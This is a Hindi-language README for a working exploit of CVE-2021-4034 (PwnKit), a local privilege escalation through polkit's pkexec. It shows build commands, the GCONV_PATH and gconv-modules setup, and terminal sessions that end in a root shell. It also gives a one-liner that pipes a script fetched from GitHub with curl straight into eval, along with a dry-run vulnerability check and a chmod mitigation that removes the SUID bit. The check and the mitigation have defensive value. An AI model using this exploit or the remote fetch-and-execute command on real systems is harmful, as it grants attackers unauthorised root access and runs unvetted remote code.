
CVE-2021-4034 (PwnKit) के लिए एक्सप्लॉइट जो polkit pkexec के माध्यम से रूट शेल प्रदान करता है। इसमें भेद्यता का परीक्षण करने के लिए ड्राई-रन मोड और त्वरित शोषण के लिए वन-लाइनर स्क्रिप्ट शामिल है।
polkit विशेषाधिकार वृद्धि शोषण के लिए एक दिन
बस make, ./cve-2021-4034 चलाएँ और अपना रूट शेल प्राप्त करें।
वास्तविक लेखकों द्वारा मूल सलाह यहाँ है
यदि शोषण काम कर रहा है तो आपको तुरंत रूट शेल मिल जाएगा:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
अधिकांश सिस्टम पर polkit को अपडेट करने से शोषण पैच हो जाएगा, इसलिए आपको उपयोग दिखेगा और प्रोग्राम बाहर निकल जाएगा:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
शेल निष्पादित न करने के लिए बल्कि केवल यह जाँचने के लिए कि सिस्टम असुरक्षित है या नहीं, dry-run टारगेट संकलित करें।
यदि प्रोग्राम "root" प्रिंट करके बाहर निकलता है तो इसका मतलब है कि आपका सिस्टम शोषण के प्रति असुरक्षित है।
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
यदि आपका सिस्टम असुरक्षित नहीं है तो यह एक त्रुटि प्रिंट करता है और बाहर निकल जाता है।
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (पूर्व में PolicyKit) Unix-जैसे ऑपरेटिंग सिस्टम में सिस्टम-व्यापी विशेषाधिकारों को नियंत्रित करने के लिए एक घटक है। यह गैर-विशेषाधिकार प्राप्त प्रक्रियाओं के लिए विशेषाधिकार प्राप्त प्रक्रियाओं के साथ संवाद करने का एक संगठित तरीका प्रदान करता है। polkit का उपयोग pkexec कमांड के बाद इच्छित कमांड (रूट अनुमति के साथ) निष्पादित करके उन्नत विशेषाधिकारों के साथ कमांड निष्पादित करने के लिए भी किया जा सकता है।
आप इस कमांड के साथ डाउनलोड और निष्पादन योग्य एकल स्क्रिप्ट का उपयोग करके आसानी से सिस्टम का शोषण कर सकते हैं:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
यदि आपके ऑपरेटिंग सिस्टम के लिए कोई पैच उपलब्ध नहीं है, तो आप अस्थायी शमन के रूप में pkexec से SUID-बिट हटा सकते हैं।
# chmod 0755 /usr/bin/pkexec
तब शोषण विफल हो जाएगा और शिकायत करेगा कि pkexec में setuid बिट सक्षम होना चाहिए।
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root